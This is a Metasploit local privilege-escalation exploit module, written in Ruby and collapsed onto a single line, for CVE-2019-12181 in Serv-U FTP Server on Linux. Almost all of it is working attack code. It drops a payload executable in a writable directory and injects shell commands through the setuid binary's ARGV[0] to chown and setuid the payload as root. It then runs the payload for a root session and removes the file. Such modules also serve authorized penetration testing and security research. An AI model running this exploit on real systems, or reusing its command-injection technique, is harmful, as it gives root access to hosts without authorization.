## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Kernel include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Serv-U FTP Server prepareinstallation Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on systems running Serv-U FTP Server versions prior to 15.1.7. The `Serv-U` executable is setuid `root`, and uses `ARGV[0]` in a call to `system()`, without validation, when invoked with the `-prepareinstallation` flag, resulting in command execution with root privileges. This module has been tested successfully on Serv-U FTP Server version 15.1.6 (x64) on Debian 9.6 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Guy Levin', # @va_start - Discovery and exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2019-06-05', 'References' => [ ['CVE', '2019-12181'], ['EDB', '47009'], ['PACKETSTORM', '153333'], ['URL', 'https://github.com/guywhataguy/CVE-2019-12181'], ['URL', 'https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181'], ['URL', 'https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'], ['URL', 'https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm'], ['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems'] ], 'Platform' => ['linux'], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'DefaultOptions' => { 'PrependSetresuid' => true, 'PrependSetresgid' => true, 'PrependFork' => true, 'WfsDelay' => 30 }, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'DefaultTarget' => 0, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_delete_file ] } } ) ) register_options [ OptString.new('SERVU_PATH', [true, 'Path to Serv-U executable', '/usr/local/Serv-U/Serv-U']) ] register_advanced_options [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def servu_path datastore['SERVU_PATH'] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def check return CheckCode::Safe('bash shell is not available') unless command_exists? 'bash' vprint_good 'bash shell is available' return CheckCode::Safe("#{servu_path} file not found") unless file? servu_path return CheckCode::Safe("#{servu_path} is not executable") unless executable?(servu_path) vprint_good "#{servu_path} is executable" return CheckCode::Safe("#{servu_path} is not setuid") unless setuid? servu_path vprint_good "#{servu_path} is setuid" CheckCode::Detected end def exploit if !datastore['ForceExploit'] && is_root? fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end if nosuid? base_dir fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid" end payload_name = ".#{rand_text_alphanumeric 10..15}" @payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx @payload_path, generate_payload_exe argv0 = %(\\";chown root #{@payload_path};chmod u+s #{@payload_path};chmod +x #{@payload_path}\\") cmd = %(bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation') vprint_status "Executing command: #{cmd}" cmd_exec cmd unless setuid? @payload_path fail_with Failure::Unknown, 'Failed to set payload setuid root' end print_good "#{@payload_path} setuid root successfully" print_status 'Executing payload...' res = cmd_exec "#{@payload_path} &" vprint_line res end def on_new_session(session) if session.type.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.fs.file.rm @payload_path else session.shell_command_token "rm -f '#{@payload_path}'" end ensure super end end